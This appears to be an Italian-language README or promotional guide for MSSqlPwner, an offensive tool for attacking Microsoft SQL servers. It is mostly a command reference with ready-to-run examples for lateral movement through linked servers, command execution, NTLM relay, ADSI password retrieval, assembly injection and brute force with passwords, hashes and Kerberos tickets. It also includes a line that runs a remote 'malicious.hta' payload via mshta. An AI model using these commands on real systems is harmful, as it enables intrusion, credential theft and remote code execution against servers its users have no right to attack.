
Strumento avanzato di penetration testing per MSSQL per movimento laterale, esecuzione di comandi, relay NTLM e attacchi brute-force tramite server collegati e molteplici metodi di autenticazione.
MSSqlPwner è uno strumento avanzato e versatile per pentesting, progettato per interagire e compromettere server MSSQL in modo agevole.
Questo strumento si basa su Impacket, che permette agli attaccanti di autenticarsi ai database utilizzando password in chiaro, hash NTLM e ticket Kerberos.
Con MSSqlPwner, gli utenti possono eseguire comandi personalizzati attraverso vari metodi, tra cui assembly personalizzato, xp_cmdshell, sp_oacreate (Ole Automation Procedures) e molto altro.
Lo strumento inizia con un'enumerazione ricorsiva sui server collegati e sulle possibili impersonificazioni, in modo da raccogliere tutte le possibili catene per l'esecuzione di comandi.
Inoltre, MSSqlPwner può essere utilizzato per capacità di NTLM relay, sfruttando funzioni come xp_dirtree, xp_subdirs, xp_fileexist.
Questo strumento può essere impiegato per valutazioni di movimento laterale ed esplorazione di server collegati.
Se l'utente MSSQL autenticato non dispone delle autorizzazioni per eseguire determinate operazioni, lo strumento può trovare la catena giusta che consentirà l'esecuzione del comando.
Ad esempio, se il tuo utente non può eseguire comandi nel contesto corrente, lo strumento costruirà una catena che utilizza un server collegato e si riconnette al nostro server con privilegi elevati.
Iniziare con mssqlpwner è semplicissimo. Puoi farlo scaricandolo direttamente dal repository:
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
Oppure, usando pipx – e dovresti –, prova così:
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
E ora puoi usare il tuo nuovo strumento preferito:
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive
Questo strumento supporta molteplici metodi di autenticazione, descritti di seguito.
Questo strumento è progettato per professionisti della sicurezza e ricercatori solo a scopo di test e non deve essere utilizzato per scopi illegali.
interactive: permette di utilizzare lo strumento in modo interattivo con esecuzione in tempo reale.enumerate: enumera i server collegati e le catene.get-chain-list – ottiene l'elenco delle catene:
-filter-hostname HOSTNAME – Ottiene risultati filtrati con hostname specifico.get-link-server-list – ottiene l'elenco dei server collegati.set-chain – Imposta l'ID della catena (solo per modalità interattiva!)
CHAIN – L'ID della catena da impostare.set-link-server – Imposta il server collegato (solo per modalità interattiva!)
LINK – Il server collegato da impostare.get-rev2self-queries – Recupera le query per tornare a SELF (solo per modalità interattiva!).get-adsi-provider-list – Recupera l'elenco dei provider ADSI.exec – Esegue comandi usando exec sul server locale o su server collegati
COMMAND – Il comando da eseguire.-command_execution_method – Il metodo di esecuzione del comando da utilizzare.
xp_cmdshell – Esegue comandi usando la procedura xp_cmdshell (predefinito).sp_oacreate – Esegue comandi usando la procedura Ole Automation Procedure (da usare come "cmd /c qualcosa").retrieve-password – Recupero password dai provider ADSI.
-listen-port – La porta su cui ascoltare (predefinito: 1389).-adsi-provider – Provider ADSI da utilizzare (se non definito, verrà scelto automaticamente).-arch – L'architettura da utilizzare (se non definita, verrà scelta automaticamente).
x86 – Usa architettura x86.x64 – Usa architettura x64.ntlm-relay – Forza un relay NTLM verso un server.
SMB_SERVER – Il server SMB verso cui fare il relay.-relay-method – Il metodo di relay da utilizzare.
xp_dirtree – Usa la procedura xp_dirtree (predefinito).xp_subdirs – Usa la procedura xp_subdirs.xp_fileexist – Usa la procedura xp_fileexist (in alcune situazioni questo modulo deve essere eseguito da una catena privilegiata).custom-asm – Esegue procedure usando assembly personalizzato
COMMAND – Il comando/percorso o query da usare.-procedure-name – Il nome della procedura da usare (predefinito: execute_command).
execute_command – Esegue comandi usando assembly personalizzato (predefinito).run_query – Esegue query usando assembly personalizzato.run_query_system_service – Esegue query usando assembly personalizzato come utente sistema (tipo SqlSVC).inject-custom-asm – Inietta codice usando assembly personalizzato.
file_location – La posizione del file da iniettare.-procedure-name – Il nome della procedura da usare (predefinito: Inject).direct-query – Esegue query diretteQUERY – La query da eseguire.-query-method – Il metodo di query da usare.
OpenQuery – Usa la procedura OpenQuery (predefinito).exec_at – Usa la procedura exec AT.brute – Avvia la forza bruta (può ricevere ticket, hash e password)TARGETS_FILE – Un file contenente host e IP su cui fare brute force.-ul – Un file contenente utenti su cui fare brute force.-pl – Un file contenente password su cui fare brute force.-tl – Un file contenente ticket su cui fare brute force.-hl – Un file contenente hash su cui fare brute force.-link-name – Il nome del server collegato da usare-chain-id – L'ID della catena da usare-max-link-depth – La profondità massima del collegamento da usare (predefinito: 10)-max-impersonation-depth – La profondità massima dell'impersonificazione da usare (predefinito: 10)-auto-yes – Risponde automaticamente sì a tutte le domande (predefinito: False)-timeout – Il timeout da usare (predefinito: 30)MSSqlPwner offre opportunità per valutazioni di movimento laterale ed esplorazione di server collegati.
In scenari in cui la sessione corrente non dispone di privilegi amministrativi, lo strumento tenta di trovare una catena che aumenti i propri privilegi tramite server collegati.
Se una sessione su un server collegato ha privilegi più elevati, lo strumento può interagire con quel server ed eseguire una query collegata di ritorno all'host con privilegi elevati, consentendo il movimento laterale verso il server di destinazione.
Supportato da molteplici metodi di autenticazione, tra cui:
Lo strumento si adatta a vari scenari e ambienti, verificando l'efficacia dei meccanismi di autenticazione.
Porta le valutazioni del tuo ambiente MSSQL al livello successivo con la potenza e la versatilità di MSSqlPwner.
Scopri nuove possibilità per movimento laterale, query furtive e valutazioni di sicurezza precise con lo strumento MSSqlPwner.
# Modalità interattiva
mssqlpwner corp.com/user:[email protected] -windows-auth interactive
# Modalità interattiva con profondità di impersonificazione di 2 livelli
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive
# Esecuzione di assembly personalizzato sul server corrente con autenticazione Windows ed esecuzione del comando hostname
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
# Esecuzione di assembly personalizzato sul server corrente con autenticazione Windows ed esecuzione del comando hostname sul server collegato SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname
# Esecuzione del comando hostname usando procedure memorizzate sul server collegato SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# Esecuzione del comando hostname usando procedure memorizzate sul server collegato SRV01 con metodo sp_oacreate
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Esecuzione di attacco NTLM relay sul server SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Esecuzione di attacco NTLM relay sull'ID catena 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Esecuzione di attacco NTLM relay sul server locale con comando personalizzato
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250
# Esecuzione di query diretta
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"
# Recupero della password dal server collegato DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password
# Esecuzione di codice usando assembly personalizzato sul server collegato DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# Forza bruta usando ticket, hash e password contro gli host elencati in hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Forza bruta usando hash e password contro gli host elencati in hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Forza bruta usando ticket contro gli host elencati in hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Forza bruta usando password contro gli host elencati in hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Forza bruta usando hash contro gli host elencati in hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
rev2self – Torna a SELF (solo per modalità interattiva!).